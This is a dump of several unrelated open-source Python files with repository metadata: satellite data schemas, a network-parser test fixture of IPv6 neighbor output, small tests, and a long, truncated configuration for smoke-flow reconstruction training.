import webbrowser, os.path
strToFile(webpageText, filename)
webbrowser.open("file:///" + os.path.abspath(filename)) # elaborated for Mac
if __name__ == '__main__':
plot_bars([1,2,3,4], [100,200,34,200], None, "test", title="Good Graph")
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dd9ae3ab27ab5b4611ae39b93f2a0daf1b819c16
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Brainfuck/res.py
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dd9ae3ab27ab5b4611ae39b93f2a0daf1b819c16
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records= NCBIXML.parse(result)
file = open("mapped.blast_results.txt", "w")
for item in records:
for alignment in item.alignments:
file.write(">")
for hsp in alignment.hsps:
title=alignment.title
title=title.replace(" ", "_")
title=title.replace(",", "-")
file.write(title + "," + str(hsp.score) + "," + str(hsp.expect) + "\n")
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"MIT"
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from . import water_flow_monitor
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|
2020-11-29T06:31:50.000Z
|
from petastorm.unischema import Unischema, UnischemaField
from petastorm.codecs import ScalarCodec, NdarrayCodec
from pyspark.sql.types import IntegerType, StringType
import numpy as np
L1bSchema = Unischema('L1bSchema', [
UnischemaField('year', np.int32, (), ScalarCodec(IntegerType()), False),
UnischemaField('dayofyear', np.int32, (), ScalarCodec(IntegerType()), False),
UnischemaField('hour', np.int32, (), ScalarCodec(IntegerType()), False),
UnischemaField('minute', np.int32, (), ScalarCodec(IntegerType()), False),
UnischemaField('file', np.string_, (), ScalarCodec(StringType()), False),
UnischemaField('h', np.string_, (), ScalarCodec(IntegerType()), False),
UnischemaField('v', np.string_, (), ScalarCodec(IntegerType()), False),
UnischemaField('sample_id', np.int32, (), ScalarCodec(IntegerType()), False),
UnischemaField('data', np.float32, (64, 64, 16), NdarrayCodec(), False),
])
MAIACSchema = Unischema('MAIAC', [
UnischemaField('year', np.int32, (), ScalarCodec(IntegerType()), False),
UnischemaField('dayofyear', np.int32, (), ScalarCodec(IntegerType()), False),
UnischemaField('hour', np.int32, (), ScalarCodec(IntegerType()), False),
UnischemaField('minute', np.int32, (), ScalarCodec(IntegerType()), False),
UnischemaField('fileahi05', np.string_, (), ScalarCodec(StringType()), False),
UnischemaField('fileahi12', np.string_, (), ScalarCodec(StringType()), False),
UnischemaField('h', np.string_, (), ScalarCodec(IntegerType()), False),
UnischemaField('v', np.string_, (), ScalarCodec(IntegerType()), False),
UnischemaField('sample_id', np.int32, (), ScalarCodec(IntegerType()), False),
UnischemaField('AHI05', np.float32, (64, 64, 16), NdarrayCodec(), False),
UnischemaField('AHI12', np.float32, (64, 64, 6), NdarrayCodec(), False),
])
MAIACSchema256 = Unischema('MAIAC256', [
UnischemaField('year', np.int32, (), ScalarCodec(IntegerType()), False),
UnischemaField('dayofyear', np.int32, (), ScalarCodec(IntegerType()), False),
UnischemaField('hour', np.int32, (), ScalarCodec(IntegerType()), False),
UnischemaField('minute', np.int32, (), ScalarCodec(IntegerType()), False),
UnischemaField('fileahi05', np.string_, (), ScalarCodec(StringType()), False),
UnischemaField('fileahi12', np.string_, (), ScalarCodec(StringType()), False),
UnischemaField('h', np.string_, (), ScalarCodec(IntegerType()), False),
UnischemaField('v', np.string_, (), ScalarCodec(IntegerType()), False),
UnischemaField('sample_id', np.int32, (), ScalarCodec(IntegerType()), False),
UnischemaField('AHI05', np.float32, (256, 256, 16), NdarrayCodec(), False),
UnischemaField('AHI12', np.float32, (256, 256, 6), NdarrayCodec(), False),
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2022-02-14T23:55:24.000Z
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echo/__init__.py
|
trharoldsen/echo
|
ebef05fab0d30c0b4fb40276784328b19091073f
|
[
"MIT"
] | 17
|
2015-12-31T13:11:27.000Z
|
2021-12-14T14:49:43.000Z
|
echo/__init__.py
|
trharoldsen/echo
|
ebef05fab0d30c0b4fb40276784328b19091073f
|
[
"MIT"
] | 6
|
2015-02-10T23:07:40.000Z
|
2022-02-19T15:52:21.000Z
|
from .core import * # noqa
from .containers import * # noqa
from .selection import * # noqa
from .version import * # noqa
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balmasea/genieparser
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d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 468
|
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|
2022-03-31T23:23:35.000Z
|
src/genie/libs/parser/iosxr/tests/ShowIpv6NeighborsDetail/cli/equal/golden_output_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 309
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|
2022-03-30T12:56:41.000Z
|
expected_output = {
'interfaces': {
'GigabitEthernet0/0/0/0': {
'interface': 'GigabitEthernet0/0/0/0',
'neighbors': {
'2001:db8:8548:1::1': {
'age': '82',
'ip': '2001:db8:8548:1::1',
'link_layer_address': 'fa16.3eff.c4d3',
'neighbor_state': 'REACH',
'location': '0/0/CPU0',
'static': '-',
'dynamic': 'Y',
'sync': '-',
'serg_flags': 'ff',
'origin': 'dynamic',
},
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'age': '-',
'ip': '2001:db8:8548:1::22',
'link_layer_address': 'aaaa.beff.6b6b',
'neighbor_state': 'REACH',
'location': '0/0/CPU0',
'static': 'Y',
'dynamic': '-',
'sync': '-',
'serg_flags': 'ff',
'origin': 'static',
},
'fe80::f816:3eff:feff:c4d3': {
'age': '158',
'ip': 'fe80::f816:3eff:feff:c4d3',
'link_layer_address': 'fa16.3eff.c4d3',
'neighbor_state': 'REACH',
'location': '0/0/CPU0',
'static': '-',
'dynamic': 'Y',
'sync': '-',
'serg_flags': 'ff',
'origin': 'dynamic',
},
'Mcast adjacency': {
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'ip': 'Mcast adjacency',
'link_layer_address': '0000.0000.0000',
'neighbor_state': 'REACH',
'location': '0/0/CPU0',
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'origin': 'other',
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},
},
'GigabitEthernet0/0/0/3': {
'interface': 'GigabitEthernet0/0/0/3',
'neighbors': {
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'age': '114',
'ip': '2001:db8:c8d1:4::3',
'link_layer_address': '5e01.c0ff.0209',
'neighbor_state': 'REACH',
'location': '0/0/CPU0',
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'origin': 'dynamic',
},
'fe80::5c01:c0ff:feff:209': {
'age': '12',
'ip': 'fe80::5c01:c0ff:feff:209',
'link_layer_address': '5e01.c0ff.0209',
'neighbor_state': 'REACH',
'location': '0/0/CPU0',
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'sync': '-',
'serg_flags': 'ff',
'origin': 'dynamic',
},
'Mcast adjacency': {
'age': '-',
'ip': 'Mcast adjacency',
'link_layer_address': '0000.0000.0000',
'neighbor_state': 'REACH',
'location': '0/0/CPU0',
'static': '-',
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'sync': '-',
'serg_flags': 'ff',
'origin': 'other',
},
},
},
'GigabitEthernet0/0/0/2': {
'interface': 'GigabitEthernet0/0/0/2',
'neighbors': {
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'age': '1',
'ip': '2001:db8:c56d:4::3',
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'neighbor_state': 'REACH',
'location': '0/0/CPU0',
'static': '-',
'dynamic': 'Y',
'sync': '-',
'serg_flags': 'ff',
'origin': 'dynamic',
},
'fe80::5c01:c0ff:feff:209': {
'age': '12',
'ip': 'fe80::5c01:c0ff:feff:209',
'link_layer_address': '5e01.c0ff.0209',
'neighbor_state': 'REACH',
'location': '0/0/CPU0',
'static': '-',
'dynamic': 'Y',
'sync': '-',
'serg_flags': 'ff',
'origin': 'dynamic',
},
'Mcast adjacency': {
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'ip': 'Mcast adjacency',
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'neighbor_state': 'REACH',
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'interface': 'GigabitEthernet0/0/0/1',
'neighbors': {
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'ip': '2001:db8:888c:1::22',
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'location': '0/0/CPU0',
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'origin': 'static',
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'fe80::f816:3eff:feff:f679': {
'age': '37',
'ip': 'fe80::f816:3eff:feff:f679',
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'location': '0/0/CPU0',
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'Mcast adjacency': {
'age': '-',
'ip': 'Mcast adjacency',
'link_layer_address': '0000.0000.0000',
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'origin': 'other',
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},
},
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|
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|
cclauss/confidant
|
85bf2980c47bced1fd71f7a515baa2c824f3ac39
|
[
"Apache-2.0"
] | 5
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|
2021-07-04T00:45:36.000Z
|
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from confidant.routes import v1 # noqa
from confidant.routes import saml # noqa
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py
|
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|
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|
2022-03-27T22:06:14.000Z
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trajnettools/tests/test_metrics.py
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|
9099356565c4150d2c53e9a6cfc75bdb792a8929
|
[
"BSD-2-Clause"
] | 6
|
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|
2022-03-04T16:32:16.000Z
|
trajnettools/tests/test_metrics.py
|
swb19/RRB
|
9099356565c4150d2c53e9a6cfc75bdb792a8929
|
[
"BSD-2-Clause"
] | 6
|
2021-05-11T08:34:02.000Z
|
2022-03-17T09:48:59.000Z
|
import trajnettools
def test_average_l2():
path1 = [trajnettools.TrackRow(0, 0, x, 0.0) for x in range(21)]
path2 = [trajnettools.TrackRow(0, 0, x, 1.0) for x in range(21)]
assert trajnettools.metrics.average_l2((path1, path2)) == 1.0
def test_final_l2():
path1 = [trajnettools.TrackRow(0, 0, x, 0.0) for x in range(21)]
path2 = [trajnettools.TrackRow(0, 0, x, 1.0) for x in range(21)]
assert trajnettools.metrics.final_l2((path1, path2)) == 1.0
| 33.857143
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| 0.729032
| 0.729032
| 0.729032
| 0
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| 474
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| 35,931
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py
|
Python
|
common_setups.py
|
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|
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|
[
"MIT"
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|
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|
2022-03-30T03:38:13.000Z
|
common_setups.py
|
tum-pbs/Global-Flow-Transport
|
bae04d4deb8636417f1d1ed6caa41d27be7060cb
|
[
"MIT"
] | null | null | null |
common_setups.py
|
tum-pbs/Global-Flow-Transport
|
bae04d4deb8636417f1d1ed6caa41d27be7060cb
|
[
"MIT"
] | 1
|
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|
2021-04-15T17:49:31.000Z
|
import copy, munch, numbers, collections.abc
import lib.scalar_schedule as sSchedule
#https://stackoverflow.com/questions/3232943/update-value-of-a-nested-dictionary-of-varying-depth
def _CSETUPS_update_dict_recursive(d, u, deepcopy=False, new_key='KEEP'):
if deepcopy:
d = copy.deepcopy(d)
for k, v in u.items():
if not k in d:
if new_key.upper()=='ERROR':
raise KeyError("Update key {} does not exisit in base dictionary.".format(k))
elif new_key.upper()=='DISCARD':
continue
elif new_key.upper()=='KEEP':
pass
else:
raise ValueError("Unknown policy for new key: {}".format(new_key))
if isinstance(v, collections.abc.Mapping):
if k in d and not isinstance(d[k], collections.abc.Mapping):
# if something that is not a Mapping is updated with a Mapping
#e.g. a default constant schedule (int, float, list) with a complex one (dict {"type":<type>, ...})
if isinstance(d[k], (numbers.Number, list)) and "type" in v and isinstance(v["type"], str) and v["type"].upper() in ['SCHEDULE', 'CONST','LINEAR','EXPONENTIAL','ROOT_DECAY'] and "start" in v:
d[k] = sSchedule._get_base_schedule()
else:
d[k] = {}
d[k] = _CSETUPS_update_dict_recursive(d.get(k, {}), v, deepcopy=deepcopy, new_key=new_key)
else:
if deepcopy:
d[k] = copy.deepcopy(v)
else:
d[k] = v
return d
################################
# --- Full Setups for Scrips ---
################################
RECONSTRUCT_SEQUENCE_SETUP = {
'title':'seq_test',
'desc':'sequence reconstruction run description',
'paths':{
'base':"./runs",
'group':"reconstruct_sequence",#"test-and-debug",#
},
'rendering':{
'monochrome':False,
'luma':[0.2126,0.7152,0.0722], #[0.299,0.587,0.144] #https://en.wikipedia.org/wiki/Luma_(video)
'filter_mode':'LINEAR', #NEAREST, LINEAR
'mip':{
'mode':'LINEAR', #NONE, NEAREST, LINEAR
'level':4,
'bias':0.0,
},
'blend_mode':'BEER_LAMBERT', #BEER_LAMBERT, ALPHA, ADDITIVE
'sample_gradients':True,
'steps_per_cycle':24,
'num_images': 24,
'main_camera':{
'base_resolution':[256,1920,1080], #z(depth), y(height), x(width)
'resolution_scale':1./3., # only for xy
'fov':40,
'near':0.3,
'distance':0.8,
'far':1.3,
},
'target_cameras':{
'calibration_file':"scalaFlow_cameras.json",
'camera_ids':[2,1,0,4,3],
'crop_frustum':False, # crop frustum grid to AABB of vidual hull. for performance
'crop_frustum_pad':0, # view space cells
},
'allow_static_cameras':False,
'allow_fused_rendering':True,
'background':{
'type':'COLOR', #'CAM', 'COLOR', 'NONE'; only for vis-rendering, not used in optimization
'color': [0,0.5,1.0], #[0,0.5,0],
},
'lighting':{
'ambient_intensity':0.55,
'initial_intensity':1.13,
'shadow_resolution':[64,64,64], #DHW
},
"velocity_scale":1.0*256,
"synthetic_target":{
'filter_mode':'LINEAR',
'blend_mode':'BEER_LAMBERT',
'ambient_intensity':0.64,
'initial_intensity':0.85,
}
},#rendering
'data':{
"rand_seed_global": 460585320,
'run_dirs':['./runs',],
'grid_size':128, #x and z resolution/grid size, y is ceil(this*scale_y) from callibration (scale_y ~ 1.77)
'clip_grid':False,
'clip_grid_pad':3,
'crop_grid':False,
'hull':'TARGETS', #ALL, TARGETS, ROT, [<ids>, ], empty==ALL
'simulation':0,
'start':140,
'stop':142, #exclusive
'step':1,
'scalarFlow_frame_offset':-11,
'density':{
'scale': 0.01,
'initial_value':'HULL',#"CONST", "ESTIMATE", "HULL" or path to an npz file '[RUNID:000000-000000]frame_{frame:06d}/density_pre-opt.npz'
'min':0.0,
'max':0.5,
#'file_mask':'[RUNID:000000-000000]frame_{frame:06d}/density_fit.npz',
#'file_mask':''
#'render_target':False,
#'synthetic_target':False,
'target_type': "RAW", #PREPROC, SYNTHETIC
'target': 'data/ScalarFlow/sim_{sim:06d}/input/cam/imgsUnproc_{frame:06d}.npz',
'target_preproc': 'data/ScalarFlow/sim_{sim:06d}/input/postprocessed/imgs_{frame:06d}.npz',
'target_flip_y': False,
'target_cam_ids':[0,1,2,3,4], #which ScalarFlow camera targets to use. 0:center, 1:center-left, 2:left, 3:right, 4:center-right (CW starting from center)
'target_threshold':4e-2,
'target_scale': 1.5,
'hull_image_blur_std':1.0,
'hull_volume_blur_std':0.5,
'hull_smooth_blur_std':0.0,
'hull_threshold':4e-2,
'inflow':{
'active':True,
'hull_height':10,
'height':8,
},
'scalarFlow_reconstruction':'data/ScalarFlow/sim_{sim:06d}/reconstruction/density_{frame:06d}.npz',
'synthetic_target_density_scale':1.,
},
'velocity':{
'initial_value':'RAND',
'load_step':1,
'init_std':0.1,
'init_mask':'HULL_TIGHT', #NONE HULL, HULL_TIGHT
'boundary':'CLAMP', #BORDER (closed 0 bounds), CLAMP (open bounds)
'scalarFlow_reconstruction':'data/ScalarFlow/sim_{sim:06d}/reconstruction/velocity_{frame:06d}.npz',
},
'initial_buoyancy':[0.,0.,0.],
'discriminator':{
'simulations':[0,6],
'frames':[45,145, 1],
'target_type': "RAW", #PREPROC, (SYNTHETIC not supported)
'target': 'data/ScalarFlow/sim_{sim:06d}/input/cam/imgsUnproc_{frame:06d}.npz', # 'data/ScalarFlow/sim_{:06d}/input/cam/imgsUnproc_{:06d}.npz',
'target_preproc': 'data/ScalarFlow/sim_{sim:06d}/input/postprocessed/imgs_{frame:06d}.npz',
#augmentation
'crop_size':[int(1080//8), int(1080//8)], #HW, input size to disc
'scale_input_to_crop':False, #resize all discriminator input to its base input resolution (crop_size)
'real_res_down': 4,
'scale_real_to_cam':True, #scale real data resolution to current discriminator fake-sample camera (to match resolution growth)
'scale_range':[0.52,1.0],
'rotation_mode': "90",
# 'resolution_fake':[256,1920/4,1080/4],
# 'resolution_scales_fake':[1, 1/2],
# 'resolution_loss':[256,1920/8,1080/8],
'scale_real':[0.8, 1.8], #range for random intensity scale on real samples
'scale_fake':[0.7, 1.4],
# 'scale_loss':[0.8, 1.2],
'gamma_real':[0.5,2], #range for random gamma correction on real samples (value here is inverse gamma)
'gamma_fake':[0.5,2], #range for random gamma correction on fake samples (value here is inverse gamma)
# 'gamma_loss':[0.5,2], #range for random gamma correction applied to input when evaluating the disc as loss (for density) (value here is inverse gamma)
},
'load_sequence':None, #only for rendering without optimization
'load_sequence_pre_opt':False,
},#data
'training':{
'iterations':5000,#30000,
'frame_order':'FWD', #FWD, BWD, RAND
'resource_device':'/cpu:0', #'/cpu:0', '/gpu:0'
#'loss':'L2',
'train_res_down':8,
'loss_active_eps':1e-18, #minimum absolute value of a loss scale for the loss to be considered active (to prevent losses scaled to (almost) 0 from being evaluated)
'density':{
'optim_beta':0.9,
'use_hull':True,
'warp_clamp':"NONE",
'camera_jitter':False,
'scale_render_grads_sharpness':0.0,
'error_functions':{
'raw_target_loss':'AE',
'preprocessed_target_loss':'AE',
'target_depth_smoothness_loss':'SE',
'hull':'SE',
'negative':'SE',
'smoothness_loss':'SE',
'smoothness_loss_2':'SE',
'temporal_smoothness_loss':'SE',
'warp_loss':'AE',
},
'pre_optimization':True, #whether pre-optim will run for density, affects forward propagation/advection of state and optimization
# to only have fwd advection without optimization set iterations to 0
'pre_opt':{
'first':{ #settings for first frame
'iterations':5000,#30000,
'learning_rate':{'type':'exponential', 'start':0.0002, 'base':0.5, 'scale':2/30000},
'raw_target_loss':1.,
'preprocessed_target_loss':0.,
'target_depth_smoothness_loss':0.,
'hull':0.,
'negative':0.,
'smoothness_loss':0.0,#1.0
'smoothness_neighbours':3,
'smoothness_loss_2':0.0,#0.2
'temporal_smoothness_loss':0.0,#0.2
'discriminator_loss':[0.0, 0.0, 1.2e-3, 1.2e-3/2000, 1000],#0.004,
'warp_loss':0.0,
},
#settings for remaining frames
'iterations':2400,#5000,
'seq_init':"WARP", #WARP, COPY, BASE
'learning_rate':{'type':'exponential', 'start':0.0002, 'base':0.5, 'scale':1/3000}, #{'type':'exponential', 'start':0.00005, 'base':0.5, 'scale':2/30000},
'raw_target_loss':1.,
'preprocessed_target_loss':0.,
'target_depth_smoothness_loss':0.,
'hull':0.,
'negative':0.,
'smoothness_loss':0.0,#1.0
'smoothness_neighbours':3,
'smoothness_loss_2':0.0,#0.2
'temporal_smoothness_loss':0.0,#0.2
'discriminator_loss':[0.0, 0.0, 1.2e-3, 1.2e-3/2000, 400],#0.004,
'warp_loss':0.0,
'inspect_gradients':1,
},
'learning_rate':{'type':'exponential', 'start':0.00015, 'base':0.5, 'scale':2/30000},#0.00015, #[0.00001,0.00001,0.0001, 0.00009/20000, 4000],
# 'loss':'L2',
'raw_target_loss':1.,#0.3, [float('-inf'),float('+inf'), 0.0, 0], #[min, max, step, offset]
'preprocessed_target_loss':0.,# [float('-inf'),float('+inf'), 0.0, 0], #[min, max, step, offset]
'target_depth_smoothness_loss':0.,
'hull':0.,
'negative':0.,
'smoothness_loss':0.0, #1.0
'smoothness_neighbours':3, # the kind of neighbourhood to consider in the edge filter (e.g. wether to use diagonals), NOT the kernel size.
'smoothness_loss_2':0.0,#0.2
'temporal_smoothness_loss':0.0,#0.2
'discriminator_loss':1.2e-3,
'warp_loss':[0.0,0.0,2., 2./20000, 0],# [float('-inf'),float('+inf'), 0.0, 0], #[min, max, step, offset] #{'type':'schedule','schedule':[0.0,0.0,1.0,1.0/6000,6000]} 4000
'main_warp_fwd':False,
'warp_gradients':{
'weight':sSchedule.setup_constant_schedule(start=1.0),
'active':False,
'decay':sSchedule.setup_constant_schedule(start=0.9), #[0,1], lower is faster decay
'update_first_only':False,
},
"view_interpolation":{
"steps":0,
},
'grow':{ # not yet used
"factor":1.2,#2. factor per interval, max down-scaling is factor^len(intervals)
"pre_grow_actions":[],# "WARP", list
"post_grow_actions":[],# "WARP", list
#iterations for each grow step, empty to disable
'intervals':[],#[600, 800, 1000, 1200, 1400, 1600, 1800, 2000, 2400, 2800, 3200, 3800], #-> 6,14,24,36,50,66,84,104,128,156,188,226 (x100)
},
},
'velocity':{
'optim_beta':0.9,
'warp_order':1,
'warp_clamp':"NONE",
# 'use_hull':False,
'error_functions':{
'density_warp_loss':'AE',
'velocity_warp_loss':'AE',
'divergence_loss':'SE',
'magnitude_loss':'SE',
},
'pre_optimization':True, #whether pre-optim will run for velocity, affects forward propagation/advection of state and optimization
'pre_opt':{
'first':{ #settings for first frame
'iterations':10000, #30000,
'learning_rate':0.04, #{'type':'exponential', 'start':0.04, 'base':0.5, 'scale':1/10000},
'density_warp_loss':1.0,
'velocity_warp_loss':0.0,
'smoothness_loss':0.0,
'smoothness_neighbours':3,
'cossim_loss':0.0,
'divergence_loss':[0.0, 0.0,0.3, 0.3/14000, 1200], #[0.0, 0.0,0.05, 0.05/26000, 2600],
#'divergence_normalize':0.0,
#adjust according to data.step, large values can lead to NaN.
'magnitude_loss':{'type':'exponential', 'start':0.00004, 'base':0.1, 'scale':6/20000},#[4e-05, 0.0, 4e-05, -(4e-05/1000), 0],#[1e-06, 0.0, 1e-06, -(1e-06/8000), 0]
'grow':{
"factor":1.2,
"scale_magnitude":True,
#'intervals':[600, 800, 1000, 1200, 1400, 1600, 1800, 2000, 2400, 2800, 3200, 3800], #22600
#'intervals':[400, 520, 660, 800, 920, 1060, 1200, 1320, 1600, 1860, 2120, 2520], #7490*2 (ca. 2/3)
'intervals':[200, 260, 330, 400, 460, 530, 600, 660, 800, 930, 1060, 1260], #7490 (ca. 1/3)
#'intervals':[60, 80, 100, 120, 140, 160, 180, 200, 240, 280, 320, 380], #2260
},
},
#settings for remaining frames
'iterations':2000, #2000,
'seq_init':"WARP", #WARP, COPY, BASE
'learning_rate':0.02, #{'type':'exponential', 'start':0.0004, 'base':0.5, 'scale':3/30000},
'density_warp_loss':1.0,
'velocity_warp_loss':0.0,
'smoothness_loss':0.0,
'smoothness_neighbours':3,
'cossim_loss':0.0,
'divergence_loss':0.3,
#'divergence_normalize':0.0,
'magnitude_loss':0.0,
'grow':{
"factor":1.2,#2. factor per interval, max down-scaling is factor^len(intervals)
"scale_magnitude":True,
'intervals':[],
},
},
'noise_std':sSchedule.setup_constant_schedule(start=0.0),
'learning_rate':{'type':'exponential', 'start':0.02, 'base':0.5, 'scale':2/30000},#0.05,#[0.0,0.0,0.005,0.005/6000,6000]
# 'lr_decay':0.00,
# 'loss':'L2',
'density_warp_loss':1.0,#influence of loss(A(dt, vt), dt+1) on velocity, can be a schedule
'velocity_warp_loss':1.0,#influence of loss(A(vt, vt), vt+1) on velocity, can be a schedule
'smoothness_loss':0.0,#0.005, [float('-inf'),float('+inf'), 0.0, 0], #[min, max, step, offset] [0.0,0.0002, 0.0002/5000, 25000],#
'smoothness_neighbours':3, # the kind of neighbourhood to consider in the edge filter (e.g. wether to use diagonals), NOT the kernel size.
'cossim_loss':0.0,
'divergence_loss':0.3,#0.03, [0.0,0.0,0.05, 0.05/26000, 2600], #[float('-inf'),float('+inf'), 0.0, 0], #[min, max, step, offset] [0.0,0.05, 0.05/10000, 0] 2000
'divergence_normalize':0.0,
'magnitude_loss':0.0,#0.00001, [float('-inf'),float('+inf'), 0.0, 0], #[min, max, step, offset] [0.0,0.05, 0.05/10000, 0]
#'warp_loss':0.1,# [float('-inf'),float('+inf'), 0.0, 0], #[min, max, step, offset] 4000
'warp_gradients':{
'weight':sSchedule.setup_constant_schedule(start=1.0), #affects warp gradients for velocity from backward dens warp, even if vel- warp gradients are inactive
'active':False,
'decay':sSchedule.setup_constant_schedule(start=0.9), #[0,1], lower is faster decay
},
'grow':{
"factor":1.2,#2. factor per interval, max down-scaling is factor^len(intervals)
"scale_magnitude":True,
'intervals':[],
},
},
'optimize_buoyancy':False,
"light":{
'optim_beta':0.9,
"optimize":False,
"min":0.01,
"max":6.0,
"learning_rate":{'type':'exponential', 'start':0.001, 'base':1, 'scale':0},
},
'discriminator':{
'active':False,
'model':None,#'[RUNID:000000-000000]disc_model.h5',#
'loss_type':"SGAN", #"SGAN", "RpSGAN", "RpLSGAN", "RaSGAN", "RaLSGAN"
'layers':[24]*6,
'stride':1, # larger receptive field, strong effect on results
'kernel_size':4,
'padding':'NONE', #NONE(=valid), ZERO(=same), MIRROR(=tf.pad(REFLECT))
'activation':'lrelu', # relu or lrelu
'activation_alpha':0.2, # leak for lrelu
'use_fc':False, #usually makes disc stronger
'noise_std':0.0,
# 'noise_schedule': [float('-inf'),float('+inf'), 0.0, 0], #[min, max, step, offset]
'start_delay':0, #50,
#'loss_scale':[0.0001,0.0001,0.002,0.0019/18000,4000],#0.004, #scale of gradients provided by the disc when optimizing density, to balance between L1 and disc
# 'loss_schedule': [0.0,0.004,0.004/12000,8000],#[float('-inf'),float('+inf'), 0.0, 0], #[min, max, step, offset]
'pre_opt':{
'first':{
'train':True,
'learning_rate':{'type':'exponential', 'start':4e-4, 'base':0.5, 'scale':4/30000},#0.00025
# 'steps':1,
'regularization':0.0,
},
'train':True,
'learning_rate':1.6e-4,#0.00002, #{'type':'exponential', 'start':0.00025, 'base':0.5, 'scale':4/30000}
# 'steps':1,
'regularization':0.0,
},
'train':True,
'learning_rate':2e-4,#0.00008,
'steps':1,
'regularization':0.0,
'optim_beta':0.5,
'grow':{ # not yet used
"factor":2.,#2. factor per interval, max down-scaling is factor^len(intervals)
#iterations for each grow step, empty to disable
'intervals':[]
},
'conditional_hull':False,
'temporal_input':{
'active':False,
'step_range':(-3,4,1), #-3 to 3 inclusive, 0 will be removed
},
'num_real':4,
'cam_res_down':8,
'num_fake':3,
'fake_camera_jitter':False,
'target_label':0.9, #0.9 for label smoothing
#'separate':True, #separate real and fake batches
"history":{
'load':None,
'samples':4, #use older samples as fake samples as well. 0 to disable
'size':800, #
'keep_chance':0.01, # chance to put a rendered sample in the history buffer
'save':False,
'sequence_reuse':True,
'reset_on_density_grow':True,
# 'reset_on_discriminator_grow':False,
},
# 'sequence_reuse':True,
},#discriminator
'summary_interval':200,
},#training
'validation':{
'output_interval':100,
'stats':True,
'cmp_scalarFlow':False,
'cmp_scalarFlow_render':False,
'warp_test':False,
'warp_test_render':False,
'render_cycle':False,
'render_cycle_steps':8,
'render_density':True,
'render_shadow':True,
'render_target':True,
'render_velocity':True,
},
'debug':{
'disc_dump_samples':False,
},
}
#crop and main-opt growth with new loss balaning (after scale fixes)
RECONSTRUCT_SEQUENCE_SETUP_BASE = {
'title':'seq_test',
'desc':'sequence reconstruction run description',
'paths':{
'base':"./runs",
'group':"sequence_recon_test",
},
'rendering':{
'monochrome':False,
'luma':[0.2126,0.7152,0.0722], #[0.299,0.587,0.144] #https://en.wikipedia.org/wiki/Luma_(video)
'filter_mode':'LINEAR', #NEAREST, LINEAR
'mip':{
'mode':'LINEAR', #NONE, NEAREST, LINEAR
'level':4,
'bias':0.0,
},
'blend_mode':'BEER_LAMBERT', #BEER_LAMBERT, ALPHA, ADDITIVE
'sample_gradients':True,
'steps_per_cycle':24,
'num_images': 24,
'main_camera':{
'base_resolution':[256,1920,1080], #z(depth), y(height), x(width)
'resolution_scale':1./3., # only for xy
'fov':40,
'near':0.3,
'distance':0.8,
'far':1.3,
},
'target_cameras':{
'calibration_file':"scalaFlow_cameras.json",
'camera_ids':[2,1,0,4,3],
'crop_frustum':False, # crop frustum grid to AABB of vidual hull. for performance
'crop_frustum_pad':2, # view space cells
},
'allow_static_cameras':False,
'allow_fused_rendering':True,
'background':{
'type':'COLOR', #'CAM', 'COLOR', 'NONE'; only for vis-rendering, not used in optimization
'color': [0,0.5,1.0], #[0,0.5,0],
},
'lighting':{
#'scattering_ratio':1.,
'ambient_intensity':0.55,
'initial_intensity':1.13,
'shadow_resolution':[256,196,196], #DHW
},
"velocity_scale":1024,
"synthetic_target":{
'filter_mode':'LINEAR',
'blend_mode':'BEER_LAMBERT',
'ambient_intensity':0.64,
'initial_intensity':0.85,
}
},#rendering
'data':{
"rand_seed_global": 460585320,
'run_dirs':['./runs/test-and-debug','./runs/sequence_recon_test'],
'grid_size':128, #x and z resolution/grid size, y is ceil(this*scale_y) from callibration (scale_y ~ 1.77)
'clip_grid':True,
'clip_grid_pad':4,
'crop_grid':True,
'hull':'TARGETS', #ALL, TARGETS, ROT, [<ids>, ], empty==ALL
'simulation':0,
'start':140,
'stop':142, #exclusive
'step':1,
'scalarFlow_frame_offset':-11,
'density':{
'scale': 2.5,
'initial_value':'HULL_TIGHT',#"CONST", "ESTIMATE", "HULL" or path to an npz file '[RUNID:000000-000000]frame_{frame:06d}/density_pre-opt.npz'
'min':0.0,
'max':256.0,
'target_type': "RAW", #PREPROC, SYNTHETIC
'target': 'data/ScalarFlow/sim_{sim:06d}/input/cam/imgsUnproc_{frame:06d}.npz', # 'data/ScalarFlow/sim_{:06d}/input/cam/imgsUnproc_{:06d}.npz',
'target_preproc': 'data/ScalarFlow/sim_{sim:06d}/input/postprocessed/imgs_{frame:06d}.npz',
'target_flip_y': False,
'target_cam_ids':[0,1,2,3,4], #which ScalarFlow camera targets to use. 0:center, 1:center-left, 2:left, 3:right, 4:center-right (CW starting from center)
'target_threshold':4e-2, #only used for disc dataset
'target_scale': 1.5,
'hull_image_blur_std':1.0,
'hull_volume_blur_std':0.5,
'hull_smooth_blur_std':0.0,
'hull_threshold':4e-2,
'inflow':{
'active':True,
'hull_height':10,
'height':'MAX',
},
'scalarFlow_reconstruction':'data/ScalarFlow/sim_{sim:06d}/reconstruction/density_{frame:06d}.npz',
'synthetic_target_density_scale':1.,
},
'velocity':{
'initial_value':'RAND',
'load_step':1,
'init_std':0.1,
'init_mask':'HULL_TIGHT_NEXT', #NONE HULL, HULL_TIGHT
'boundary':'CLAMP', #BORDER (closed 0 bounds), CLAMP (open bounds)
'scalarFlow_reconstruction':'data/ScalarFlow/sim_{sim:06d}/reconstruction/velocity_{frame:06d}.npz',
},
'initial_buoyancy':[0.,0.,0.],
'discriminator':{
'simulations':[0,6],
'frames':[45,145, 1],
'target_type': "RAW", #PREPROC, (SYNTHETIC not supported)
'target': 'data/ScalarFlow/sim_{sim:06d}/input/cam/imgsUnproc_{frame:06d}.npz', #
'target_preproc': 'data/ScalarFlow/sim_{sim:06d}/input/postprocessed/imgs_{frame:06d}.npz',
#augmentation
'crop_size':[96,96], #HW, input size to disc
'scale_input_to_crop':False, #resize all discriminator input to its base input resolution (crop_size) before augmentation
'real_res_down': 4,
'scale_real_to_cam':True, #scale real data resolution to current discriminator fake-sample camera (to match resolution growth)
'scale_range':[0.85,1.15],
'rotation_mode': "90",
# 'resolution_fake':[256,1920/4,1080/4],
# 'resolution_scales_fake':[1, 1/2],
# 'resolution_loss':[256,1920/8,1080/8],
'scale_real':[0.8, 1.8], #range for random intensity scale on real samples
'scale_fake':[0.7, 1.4],
# 'scale_loss':[0.8, 1.2],
'gamma_real':[0.5,2], #range for random gamma correction on real samples (value here is inverse gamma)
'gamma_fake':[0.5,2], #range for random gamma correction on fake samples (value here is inverse gamma)
